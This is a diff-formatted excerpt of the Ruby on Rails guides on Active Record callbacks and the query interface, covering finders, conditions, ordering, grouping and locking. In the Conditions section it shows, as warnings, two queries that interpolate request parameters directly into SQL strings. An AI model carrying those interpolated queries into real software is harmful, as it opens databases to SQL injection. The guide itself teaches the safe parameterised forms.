+The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in a single line:
+
+```ruby
+class User < ActiveRecord::Base
+ validates :login, :email, presence: true
+
+ before_create do |user|
+ user.name = user.login.capitalize if user.name.blank?
+ end
+end
+```
+
+Callbacks can also be registered to only fire on certain lifecycle events:
+
+```ruby
+class User < ActiveRecord::Base
+ before_validation :normalize_name, on: :create
+
+ # :on takes an array as well
+ after_validation :set_location, on: [ :create, :update ]
+
+ protected
+ def normalize_name
+ self.name = self.name.downcase.titleize
+ end
+
+ def set_location
+ self.location = LocationService.query(self)
+ end
+end
+```
+
+It is considered good practice to declare callback methods as protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation.
+
+Available Callbacks
+-------------------
+
+Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations:
+
+### Creating an Object
+
+* `before_validation`
+* `after_validation`
+* `before_save`
+* `around_save`
+* `before_create`
+* `around_create`
+* `after_create`
+* `after_save`
+
+### Updating an Object
+
+* `before_validation`
+* `after_validation`
+* `before_save`
+* `around_save`
+* `before_update`
+* `around_update`
+* `after_update`
+* `after_save`
+
+### Destroying an Object
+
+* `before_destroy`
+* `around_destroy`
+* `after_destroy`
+
+WARNING. `after_save` runs both on create and update, but always _after_ the more specific callbacks `after_create` and `after_update`, no matter the order in which the macro calls were executed.
+
+### `after_initialize` and `after_find`
+
+The `after_initialize` callback will be called whenever an Active Record object is instantiated, either by directly using `new` or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record `initialize` method.
+
+The `after_find` callback will be called whenever Active Record loads a record from the database. `after_find` is called before `after_initialize` if both are defined.
+
+The `after_initialize` and `after_find` callbacks have no `before_*` counterparts, but they can be registered just like the other Active Record callbacks.
+
+```ruby
+class User < ActiveRecord::Base
+ after_initialize do |user|
+ puts "You have initialized an object!"
+ end
+
+ after_find do |user|
+ puts "You have found an object!"
+ end
+end
+
+>> User.new
+You have initialized an object!
+=> #<User id: nil>
+
+>> User.first
+You have found an object!
+You have initialized an object!
+=> #<User id: 1>
+```
+
+Running Callbacks
+-----------------
+
+The following methods trigger callbacks:
+
+* `create`
+* `create!`
+* `decrement!`
+* `destroy`
+* `destroy!`
+* `destroy_all`
+* `increment!`
+* `save`
+* `save!`
+* `save(validate: false)`
+* `toggle!`
+* `update_attribute`
+* `update`
+* `update!`
+* `valid?`
+
+Additionally, the `after_find` callback is triggered by the following finder methods:
+
+* `all`
+* `first`
+* `find`
+* `find_by_*`
+* `find_by_*!`
+* `find_by_sql`
+* `last`
+
+The `after_initialize` callback is triggered every time a new object of the class is initialized.
+
+NOTE: The `find_by_*` and `find_by_*!` methods are dynamic finders generated automatically for every attribute. Learn more about them at the [Dynamic finders section](active_record_querying.html#dynamic-finders)
+
+Skipping Callbacks
+------------------
+
+Just as with validations, it is also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data.
+
+* `decrement`
+* `decrement_counter`
+* `delete`
+* `delete_all`
+* `increment`
+* `increment_counter`
+* `toggle`
+* `touch`
+* `update_column`
+* `update_columns`
+* `update_all`
+* `update_counters`
+
+Halting Execution
+-----------------
+
+As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed.
+
+The whole callback chain is wrapped in a transaction. If any _before_ callback method returns exactly `false` or raises an exception, the execution chain gets halted and a ROLLBACK is issued; _after_ callbacks can only accomplish that by raising an exception.
+
+WARNING. Raising an arbitrary exception may break code that expects `save` and its friends not to fail like that. The `ActiveRecord::Rollback` exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised.
+
+Relational Callbacks
+--------------------
+
+Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many posts. A user's posts should be destroyed if the user is destroyed. Let's add an `after_destroy` callback to the `User` model by way of its relationship to the `Post` model:
+
+```ruby
+class User < ActiveRecord::Base
+ has_many :posts, dependent: :destroy
+end
+
+class Post < ActiveRecord::Base
+ after_destroy :log_destroy_action
+
+ def log_destroy_action
+ puts 'Post destroyed'
+ end
+end
+
+>> user = User.first
+=> #<User id: 1>
+>> user.posts.create!
+=> #<Post id: 1, user_id: 1>
+>> user.destroy
+Post destroyed
+=> #<User id: 1>
+```
+
+Conditional Callbacks
+---------------------
+
+As with validations, we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the `:if` and `:unless` options, which can take a symbol, a string, a `Proc` or an `Array`. You may use the `:if` option when you want to specify under which conditions the callback **should** be called. If you want to specify the conditions under which the callback **should not** be called, then you may use the `:unless` option.
+
+### Using `:if` and `:unless` with a `Symbol`
+
+You can associate the `:if` and `:unless` options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the `:if` option, the callback won't be executed if the predicate method returns false; when using the `:unless` option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that s [...]
+
+```ruby
+class Order < ActiveRecord::Base
+ before_save :normalize_card_number, if: :paid_with_card?
+end
+```
+
+### Using `:if` and `:unless` with a String
+
+You can also use a string that will be evaluated using `eval` and hence needs to contain valid Ruby code. You should use this option only when the string represents a really short condition:
+
+```ruby
+class Order < ActiveRecord::Base
+ before_save :normalize_card_number, if: "paid_with_card?"
+end
+```
+
+### Using `:if` and `:unless` with a `Proc`
+
+Finally, it is possible to associate `:if` and `:unless` with a `Proc` object. This option is best suited when writing short validation methods, usually one-liners:
+
+```ruby
+class Order < ActiveRecord::Base
+ before_save :normalize_card_number,
+ if: Proc.new { |order| order.paid_with_card? }
+end
+```
+
+### Multiple Conditions for Callbacks
+
+When writing conditional callbacks, it is possible to mix both `:if` and `:unless` in the same callback declaration:
+
+```ruby
+class Comment < ActiveRecord::Base
+ after_create :send_email_to_author, if: :author_wants_emails?,
+ unless: Proc.new { |comment| comment.post.ignore_comments? }
+end
+```
+
+Callback Classes
+----------------
+
+Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them.
+
+Here's an example where we create a class with an `after_destroy` callback for a `PictureFile` model:
+
+```ruby
+class PictureFileCallbacks
+ def after_destroy(picture_file)
+ if File.exists?(picture_file.filepath)
+ File.delete(picture_file.filepath)
+ end
+ end
+end
+```
+
+When declared inside a class, as above, the callback methods will receive the model object as a parameter. We can now use the callback class in the model:
+
+```ruby
+class PictureFile < ActiveRecord::Base
+ after_destroy PictureFileCallbacks.new
+end
+```
+
+Note that we needed to instantiate a new `PictureFileCallbacks` object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods:
+
+```ruby
+class PictureFileCallbacks
+ def self.after_destroy(picture_file)
+ if File.exists?(picture_file.filepath)
+ File.delete(picture_file.filepath)
+ end
+ end
+end
+```
+
+If the callback method is declared this way, it won't be necessary to instantiate a `PictureFileCallbacks` object.
+
+```ruby
+class PictureFile < ActiveRecord::Base
+ after_destroy PictureFileCallbacks
+end
+```
+
+You can declare as many callbacks as you want inside your callback classes.
+
+Transaction Callbacks
+---------------------
+
+There are two additional callbacks that are triggered by the completion of a database transaction: `after_commit` and `after_rollback`. These callbacks are very similar to the `after_save` callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your active record models need to interact with external systems which are not part of the database transaction.
+
+Consider, for example, the previous example where the `PictureFile` model needs to delete a file after the corresponding record is destroyed. If anything raises an exception after the `after_destroy` callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that `picture_file_2` in the code below is not valid and the `save!` method raises an error.
+
+```ruby
+PictureFile.transaction do
+ picture_file_1.destroy
+ picture_file_2.save!
+end
+```
+
+By using the `after_commit` callback we can account for this case.
+
+```ruby
+class PictureFile < ActiveRecord::Base
+ after_commit :delete_picture_file_from_disk, :on => [:destroy]
+
+ def delete_picture_file_from_disk
+ if File.exist?(filepath)
+ File.delete(filepath)
+ end
+ end
+end
+```
+
+NOTE: the `:on` option specifies when a callback will be fired. If you
+don't supply the `:on` option the callback will fire for every action.
+
+The `after_commit` and `after_rollback` callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback.

+Active Record Query Interface
+=============================
+
+This guide covers different ways to retrieve data from the database using Active Record.
+
+After reading this guide, you will know:
+
+* How to find records using a variety of methods and conditions.
+* How to specify the order, retrieved attributes, grouping, and other properties of the found records.
+* How to use eager loading to reduce the number of database queries needed for data retrieval.
+* How to use dynamic finders methods.
+* How to check for the existence of particular records.
+* How to perform various calculations on Active Record models.
+* How to run EXPLAIN on relations.
+
+--------------------------------------------------------------------------------
+
+If you're used to using raw SQL to find database records, then you will generally find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.
+
+Code examples throughout this guide will refer to one or more of the following models:
+
+TIP: All of the following models use `id` as the primary key, unless specified otherwise.
+
+```ruby
+class Client < ActiveRecord::Base
+ has_one :address
+ has_many :orders
+ has_and_belongs_to_many :roles
+end
+```
+
+```ruby
+class Address < ActiveRecord::Base
+ belongs_to :client
+end
+```
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :client, counter_cache: true
+end
+```
+
+```ruby
+class Role < ActiveRecord::Base
+ has_and_belongs_to_many :clients
+end
+```
+
+Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same.
+
+Retrieving Objects from the Database
+------------------------------------
+
+To retrieve objects from the database, Active Record provides several finder methods. Each finder method allows you to pass arguments into it to perform certain queries on your database without writing raw SQL.
+
+The methods are:
+
+* `bind`
+* `create_with`
+* `eager_load`
+* `extending`
+* `from`
+* `group`
+* `having`
+* `includes`
+* `joins`
+* `limit`
+* `lock`
+* `none`
+* `offset`
+* `order`
+* `preload`
+* `readonly`
+* `references`
+* `reorder`
+* `reverse_order`
+* `select`
+* `distinct`
+* `uniq`
+* `where`
+
+All of the above methods return an instance of `ActiveRecord::Relation`.
+
+The primary operation of `Model.find(options)` can be summarized as:
+
+* Convert the supplied options to an equivalent SQL query.
+* Fire the SQL query and retrieve the corresponding results from the database.
+* Instantiate the equivalent Ruby object of the appropriate model for every resulting row.
+* Run `after_find` callbacks, if any.
+
+### Retrieving a Single Object
+
+Active Record provides five different ways of retrieving a single object.
+
+#### Using a Primary Key
+
+Using `Model.find(primary_key)`, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example:
+
+```ruby
+# Find the client with primary key (id) 10.
+client = Client.find(10)
+# => #<Client id: 10, first_name: "Ryan">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients WHERE (clients.id = 10) LIMIT 1
+```
+
+`Model.find(primary_key)` will raise an `ActiveRecord::RecordNotFound` exception if no matching record is found.
+
+#### `take`
+
+`Model.take` retrieves a record without any implicit ordering. For example:
+
+```ruby
+client = Client.take
+# => #<Client id: 1, first_name: "Lifo">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients LIMIT 1
+```
+
+`Model.take` returns `nil` if no record is found and no exception will be raised.
+
+TIP: The retrieved record may vary depending on the database engine.
+
+#### `first`
+
+`Model.first` finds the first record ordered by the primary key. For example:
+
+```ruby
+client = Client.first
+# => #<Client id: 1, first_name: "Lifo">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
+```
+
+`Model.first` returns `nil` if no matching record is found and no exception will be raised.
+
+#### `last`
+
+`Model.last` finds the last record ordered by the primary key. For example:
+
+```ruby
+client = Client.last
+# => #<Client id: 221, first_name: "Russel">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
+```
+
+`Model.last` returns `nil` if no matching record is found and no exception will be raised.
+
+#### `find_by`
+
+`Model.find_by` finds the first record matching some conditions. For example:
+
+```ruby
+Client.find_by first_name: 'Lifo'
+# => #<Client id: 1, first_name: "Lifo">
+
+Client.find_by first_name: 'Jon'
+# => nil
+```
+
+It is equivalent to writing:
+
+```ruby
+Client.where(first_name: 'Lifo').take
+```
+
+#### `take!`
+
+`Model.take!` retrieves a record without any implicit ordering. For example:
+
+```ruby
+client = Client.take!
+# => #<Client id: 1, first_name: "Lifo">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients LIMIT 1
+```
+
+`Model.take!` raises `ActiveRecord::RecordNotFound` if no matching record is found.
+
+#### `first!`
+
+`Model.first!` finds the first record ordered by the primary key. For example:
+
+```ruby
+client = Client.first!
+# => #<Client id: 1, first_name: "Lifo">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
+```
+
+`Model.first!` raises `ActiveRecord::RecordNotFound` if no matching record is found.
+
+#### `last!`
+
+`Model.last!` finds the last record ordered by the primary key. For example:
+
+```ruby
+client = Client.last!
+# => #<Client id: 221, first_name: "Russel">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
+```
+
+`Model.last!` raises `ActiveRecord::RecordNotFound` if no matching record is found.
+
+#### `find_by!`
+
+`Model.find_by!` finds the first record matching some conditions. It raises `ActiveRecord::RecordNotFound` if no matching record is found. For example:
+
+```ruby
+Client.find_by! first_name: 'Lifo'
+# => #<Client id: 1, first_name: "Lifo">
+
+Client.find_by! first_name: 'Jon'
+# => ActiveRecord::RecordNotFound
+```
+
+It is equivalent to writing:
+
+```ruby
+Client.where(first_name: 'Lifo').take!
+```
+
+### Retrieving Multiple Objects
+
+#### Using Multiple Primary Keys
+
+`Model.find(array_of_primary_key)` accepts an array of _primary keys_, returning an array containing all of the matching records for the supplied _primary keys_. For example:
+
+```ruby
+# Find the clients with primary keys 1 and 10.
+client = Client.find([1, 10]) # Or even Client.find(1, 10)
+# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">]
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients WHERE (clients.id IN (1,10))
+```
+
+WARNING: `Model.find(array_of_primary_key)` will raise an `ActiveRecord::RecordNotFound` exception unless a matching record is found for **all** of the supplied primary keys.
+
+#### take
+
+`Model.take(limit)` retrieves the first number of records specified by `limit` without any explicit ordering:
+
+```ruby
+Client.take(2)
+# => [#<Client id: 1, first_name: "Lifo">,
+ #<Client id: 2, first_name: "Raf">]
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients LIMIT 2
+```
+
+#### first
+
+`Model.first(limit)` finds the first number of records specified by `limit` ordered by primary key:
+
+```ruby
+Client.first(2)
+# => [#<Client id: 1, first_name: "Lifo">,
+ #<Client id: 2, first_name: "Raf">]
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients ORDER BY id ASC LIMIT 2
+```
+
+#### last
+
+`Model.last(limit)` finds the number of records specified by `limit` ordered by primary key in descending order:
+
+```ruby
+Client.last(2)
+# => [#<Client id: 10, first_name: "Ryan">,
+ #<Client id: 9, first_name: "John">]
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients ORDER BY id DESC LIMIT 2
+```
+
+### Retrieving Multiple Objects in Batches
+
+We often need to iterate over a large set of records, as when we send a newsletter to a large set of users, or when we export data.
+
+This may appear straightforward:
+
+```ruby
+# This is very inefficient when the users table has thousands of rows.
+User.all.each do |user|
+ NewsLetter.weekly_deliver(user)
+end
+```
+
+But this approach becomes increasingly impractical as the table size increases, since `User.all.each` instructs Active Record to fetch _the entire table_ in a single pass, build a model object per row, and then keep the entire array of model objects in memory. Indeed, if we have a large number of records, the entire collection may exceed the amount of memory available.
+
+Rails provides two methods that address this problem by dividing records into memory-friendly batches for processing. The first method, `find_each`, retrieves a batch of records and then yields _each_ record to the block individually as a model. The second method, `find_in_batches`, retrieves a batch of records and then yields _the entire batch_ to the block as an array of models.
+
+TIP: The `find_each` and `find_in_batches` methods are intended for use in the batch processing of a large number of records that wouldn't fit in memory all at once. If you just need to loop over a thousand records the regular find methods are the preferred option.
+
+#### `find_each`
+
+The `find_each` method retrieves a batch of records and then yields _each_ record to the block individually as a model. In the following example, `find_each` will retrieve 1000 records (the current default for both `find_each` and `find_in_batches`) and then yield each record individually to the block as a model. This process is repeated until all of the records have been processed:
+
+```ruby
+User.find_each do |user|
+ NewsLetter.weekly_deliver(user)
+end
+```
+
+##### Options for `find_each`
+
+The `find_each` method accepts most of the options allowed by the regular `find` method, except for `:order` and `:limit`, which are reserved for internal use by `find_each`.
+
+Two additional options, `:batch_size` and `:start`, are available as well.
+
+**`:batch_size`**
+
+The `:batch_size` option allows you to specify the number of records to be retrieved in each batch, before being passed individually to the block. For example, to retrieve records in batches of 5000:
+
+```ruby
+User.find_each(batch_size: 5000) do |user|
+ NewsLetter.weekly_deliver(user)
+end
+```
+
+**`:start`**
+
+By default, records are fetched in ascending order of the primary key, which must be an integer. The `:start` option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint.
+
+For example, to send newsletters only to users with the primary key starting from 2000, and to retrieve them in batches of 5000:
+
+```ruby
+User.find_each(start: 2000, batch_size: 5000) do |user|
+ NewsLetter.weekly_deliver(user)
+end
+```
+
+Another example would be if you wanted multiple workers handling the same processing queue. You could have each worker handle 10000 records by setting the appropriate `:start` option on each worker.
+
+#### `find_in_batches`
+
+The `find_in_batches` method is similar to `find_each`, since both retrieve batches of records. The difference is that `find_in_batches` yields _batches_ to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices:
+
+```ruby
+# Give add_invoices an array of 1000 invoices at a time
+Invoice.find_in_batches(include: :invoice_lines) do |invoices|
+ export.add_invoices(invoices)
+end
+```
+
+NOTE: The `:include` option allows you to name associations that should be loaded alongside with the models.
+
+##### Options for `find_in_batches`
+
+The `find_in_batches` method accepts the same `:batch_size` and `:start` options as `find_each`, as well as most of the options allowed by the regular `find` method, except for `:order` and `:limit`, which are reserved for internal use by `find_in_batches`.
+
+Conditions
+----------
+
+The `where` method allows you to specify conditions to limit the records returned, representing the `WHERE`-part of the SQL statement. Conditions can either be specified as a string, array, or hash.
+
+### Pure String Conditions
+
+If you'd like to add conditions to your find, you could just specify them in there, just like `Client.where("orders_count = '2'")`. This will find all clients where the `orders_count` field's value is 2.
+
+WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, `Client.where("first_name LIKE '%#{params[:first_name]}%'")` is not safe. See the next section for the preferred way to handle conditions using an array.
+
+### Array Conditions
+
+Now what if that number could vary, say as an argument from somewhere? The find would then take the form:
+
+```ruby
+Client.where("orders_count = ?", params[:orders])
+```
+
+Active Record will go through the first element in the conditions value and any additional elements will replace the question marks `(?)` in the first element.
+
+If you want to specify multiple conditions:
+
+```ruby
+Client.where("orders_count = ? AND locked = ?", params[:orders], false)
+```
+
+In this example, the first question mark will be replaced with the value in `params[:orders]` and the second will be replaced with the SQL representation of `false`, which depends on the adapter.
+
+This code is highly preferable:
+
+```ruby
+Client.where("orders_count = ?", params[:orders])
+```
+
+to this code:
+
+```ruby
+Client.where("orders_count = #{params[:orders]}")
+```
+
+because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
+
+TIP: For more information on the dangers of SQL injection, see the [Ruby on Rails Security Guide](security.html#sql-injection).
+
+#### Placeholder Conditions
+
+Similar to the `(?)` replacement style of params, you can also specify keys/values hash in your array conditions:
+
+```ruby
+Client.where("created_at >= :start_date AND created_at <= :end_date",
+ {start_date: params[:start_date], end_date: params[:end_date]})
+```
+
+This makes for clearer readability if you have a large number of variable conditions.
+
+### Hash Conditions
+
+Active Record also allows you to pass in hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them:
+
+NOTE: Only equality, range and subset checking are possible with Hash conditions.
+
+#### Equality Conditions
+
+```ruby
+Client.where(locked: true)
+```
+
+The field name can also be a string:
+
+```ruby
+Client.where('locked' => true)
+```
+
+In the case of a belongs_to relationship, an association key can be used to specify the model if an Active Record object is used as the value. This method works with polymorphic relationships as well.
+
+```ruby
+Post.where(author: author)
+Author.joins(:posts).where(posts: {author: author})
+```
+
+NOTE: The values cannot be symbols. For example, you cannot do `Client.where(status: :active)`.
+
+#### Range Conditions
+
+```ruby
+Client.where(created_at: (Time.now.midnight - 1.day)..Time.now.midnight)
+```
+
+This will find all clients created yesterday by using a `BETWEEN` SQL statement:
+
+```sql
+SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
+```
+
+This demonstrates a shorter syntax for the examples in [Array Conditions](#array-conditions)
+
+#### Subset Conditions
+
+If you want to find records using the `IN` expression you can pass an array to the conditions hash:
+
+```ruby
+Client.where(orders_count: [1,3,5])
+```
+
+This code will generate SQL like this:
+
+```sql
+SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5))
+```
+
+### NOT Conditions
+
+`NOT` SQL queries can be built by `where.not`.
+
+```ruby
+Post.where.not(author: author)
+```
+
+In other words, this query can be generated by calling `where` with no argument, then immediately chain with `not` passing `where` conditions.
+
+Ordering
+--------
+
+To retrieve records from the database in a specific order, you can use the `order` method.
+
+For example, if you're getting a set of records and want to order them in ascending order by the `created_at` field in your table:
+
+```ruby
+Client.order("created_at")
+```
+
+You could specify `ASC` or `DESC` as well:
+
+```ruby
+Client.order("created_at DESC")
+# OR
+Client.order("created_at ASC")
+```
+
+Or ordering by multiple fields:
+
+```ruby
+Client.order("orders_count ASC, created_at DESC")
+# OR
+Client.order("orders_count ASC", "created_at DESC")
+```
+
+If you want to call `order` multiple times e.g. in different context, new order will prepend previous one
+
+```ruby
+Client.order("orders_count ASC").order("created_at DESC")
+# SELECT * FROM clients ORDER BY created_at DESC, orders_count ASC
+```
+
+Selecting Specific Fields
+-------------------------
+
+By default, `Model.find` selects all the fields from the result set using `select *`.
+
+To select only a subset of fields from the result set, you can specify the subset via the `select` method.
+
+For example, to select only `viewable_by` and `locked` columns:
+
+```ruby
+Client.select("viewable_by, locked")
+```
+
+The SQL query used by this find call will be somewhat like:
+
+```sql
+SELECT viewable_by, locked FROM clients
+```
+
+Be careful because this also means you're initializing a model object with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive:
+
+```bash
+ActiveModel::MissingAttributeError: missing attribute: <attribute>
+```
+
+Where `<attribute>` is the attribute you asked for. The `id` method will not raise the `ActiveRecord::MissingAttributeError`, so just be careful when working with associations because they need the `id` method to function properly.
+
+If you would like to only grab a single record per unique value in a certain field, you can use `distinct`:
+
+```ruby
+Client.select(:name).distinct
+```
+
+This would generate SQL like:
+
+```sql
+SELECT DISTINCT name FROM clients
+```
+
+You can also remove the uniqueness constraint:
+
+```ruby
+query = Client.select(:name).distinct
+# => Returns unique names
+
+query.distinct(false)
+# => Returns all names, even if there are duplicates
+```
+
+Limit and Offset
+----------------
+
+To apply `LIMIT` to the SQL fired by the `Model.find`, you can specify the `LIMIT` using `limit` and `offset` methods on the relation.
+
+You can use `limit` to specify the number of records to be retrieved, and use `offset` to specify the number of records to skip before starting to return the records. For example
+
+```ruby
+Client.limit(5)
+```
+
+will return a maximum of 5 clients and because it specifies no offset it will return the first 5 in the table. The SQL it executes looks like this:
+
+```sql
+SELECT * FROM clients LIMIT 5
+```
+
+Adding `offset` to that
+
+```ruby
+Client.limit(5).offset(30)
+```
+
+will return instead a maximum of 5 clients beginning with the 31st. The SQL looks like:
+
+```sql
+SELECT * FROM clients LIMIT 5 OFFSET 30
+```
+
+Group
+-----
+
+To apply a `GROUP BY` clause to the SQL fired by the finder, you can specify the `group` method on the find.
+
+For example, if you want to find a collection of the dates orders were created on:
+
+```ruby
+Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)")
+```
+
+And this will give you a single `Order` object for each date where there are orders in the database.
+
+The SQL that would be executed would be something like this:
+
+```sql
+SELECT date(created_at) as ordered_date, sum(price) as total_price
+FROM orders
+GROUP BY date(created_at)
+```
+
+Having
+------
+
+SQL uses the `HAVING` clause to specify conditions on the `GROUP BY` fields. You can add the `HAVING` clause to the SQL fired by the `Model.find` by adding the `:having` option to the find.
+
+For example:
+
+```ruby
+Order.select("date(created_at) as ordered_date, sum(price) as total_price").
+ group("date(created_at)").having("sum(price) > ?", 100)
+```
+
+The SQL that would be executed would be something like this:
+
+```sql
+SELECT date(created_at) as ordered_date, sum(price) as total_price
+FROM orders
+GROUP BY date(created_at)
+HAVING sum(price) > 100
+```
+
+This will return single order objects for each day, but only those that are ordered more than $100 in a day.
+
+Overriding Conditions
+---------------------
+
+### `except`
+
+You can specify certain conditions to be excepted by using the `except` method. For example:
+
+```ruby
+Post.where('id > 10').limit(20).order('id asc').except(:order)
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM posts WHERE id > 10 LIMIT 20
+```
+
+### `unscope`
+
+The `except` method does not work when the relation is merged. For example:
+
+```ruby
+Post.comments.except(:order)
+```
+
+will still have an order if the order comes from a default scope on Comment. In order to remove all ordering, even from relations which are merged in, use unscope as follows:
+
+```ruby
+Post.order('id DESC').limit(20).unscope(:order) = Post.limit(20)
+Post.order('id DESC').limit(20).unscope(:order, :limit) = Post.all
+```
+
+You can additionally unscope specific where clauses. For example:
+
+```ruby
+Post.where(:id => 10).limit(1).unscope(:where => :id, :limit).order('id DESC') = Post.order('id DESC')
+```
+
+### `only`
+
+You can also override conditions using the `only` method. For example:
+
+```ruby
+Post.where('id > 10').limit(20).order('id desc').only(:order, :where)
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM posts WHERE id > 10 ORDER BY id DESC
+```
+
+### `reorder`
+
+The `reorder` method overrides the default scope order. For example:
+
+```ruby
+class Post < ActiveRecord::Base
+ ..
+ ..
+ has_many :comments, order: 'posted_at DESC'
+end
+
+Post.find(10).comments.reorder('name')
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM posts WHERE id = 10 ORDER BY name
+```
+
+In case the `reorder` clause is not used, the SQL executed would be:
+
+```sql
+SELECT * FROM posts WHERE id = 10 ORDER BY posted_at DESC
+```
+
+### `reverse_order`
+
+The `reverse_order` method reverses the ordering clause if specified.
+
+```ruby
+Client.where("orders_count > 10").order(:name).reverse_order
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC
+```
+
+If no ordering clause is specified in the query, the `reverse_order` orders by the primary key in reverse order.
+
+```ruby
+Client.where("orders_count > 10").reverse_order
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC
+```
+
+This method accepts **no** arguments.
+
+Null Relation
+-------------
+
+The `none` method returns a chainable relation with no records. Any subsequent conditions chained to the returned relation will continue generating empty relations. This is useful in scenarios where you need a chainable response to a method or a scope that could return zero results.
+
+```ruby
+Post.none # returns an empty Relation and fires no queries.
+```
+
+```ruby
+# The visible_posts method below is expected to return a Relation.
+ at posts = current_user.visible_posts.where(name: params[:name])
+
+def visible_posts
+ case role
+ when 'Country Manager'
+ Post.where(country: country)
+ when 'Reviewer'
+ Post.published
+ when 'Bad User'
+ Post.none # => returning [] or nil breaks the caller code in this case
+ end
+end
+```
+
+Readonly Objects
+----------------
+
+Active Record provides `readonly` method on a relation to explicitly disallow modification of any of the returned objects. Any attempt to alter a readonly record will not succeed, raising an `ActiveRecord::ReadOnlyRecord` exception.
+
+```ruby
+client = Client.readonly.first
+client.visits += 1
+client.save
+```
+
+As `client` is explicitly set to be a readonly object, the above code will raise an `ActiveRecord::ReadOnlyRecord` exception when calling `client.save` with an updated value of _visits_.
+
+Locking Records for Update
+--------------------------
+
+Locking is helpful for preventing race conditions when updating records in the database and ensuring atomic updates.
+
+Active Record provides two locking mechanisms:
+
+* Optimistic Locking
+* Pessimistic Locking
+
+### Optimistic Locking
+
+Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with the data. It does this by checking whether another process has made changes to a record since it was opened. An `ActiveRecord::StaleObjectError` exception is thrown if that has occurred and the update is ignored.
+
+**Optimistic locking column**
+
+In order to use optimistic locking, the table needs to have a column called `lock_version` of type integer. Each time the record is updated, Active Record increments the `lock_version` column. If an update request is made with a lower value in the `lock_version` field than is currently in the `lock_version` column in the database, the update request will fail with an `ActiveRecord::StaleObjectError`. Example:
+
+```ruby
+c1 = Client.find(1)
+c2 = Client.find(1)
+
+c1.first_name = "Michael"
+c1.save
+
+c2.name = "should fail"
+c2.save # Raises an ActiveRecord::StaleObjectError
+```
+
+You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict.
+
+This behavior can be turned off by setting `ActiveRecord::Base.lock_optimistically = false`.
+
+To override the name of the `lock_version` column, `ActiveRecord::Base` provides a class attribute called `locking_column`:
+
+```ruby
+class Client < ActiveRecord::Base
+ self.locking_column = :lock_client_column
+end
+```
+
+### Pessimistic Locking
+
+Pessimistic locking uses a locking mechanism provided by the underlying database. Using `lock` when building a relation obtains an exclusive lock on the selected rows. Relations using `lock` are usually wrapped inside a transaction for preventing deadlock conditions.
+
+For example:
+
+```ruby
+Item.transaction do
+ i = Item.lock.first
+ i.name = 'Jones'
+ i.save
+end
+```
+
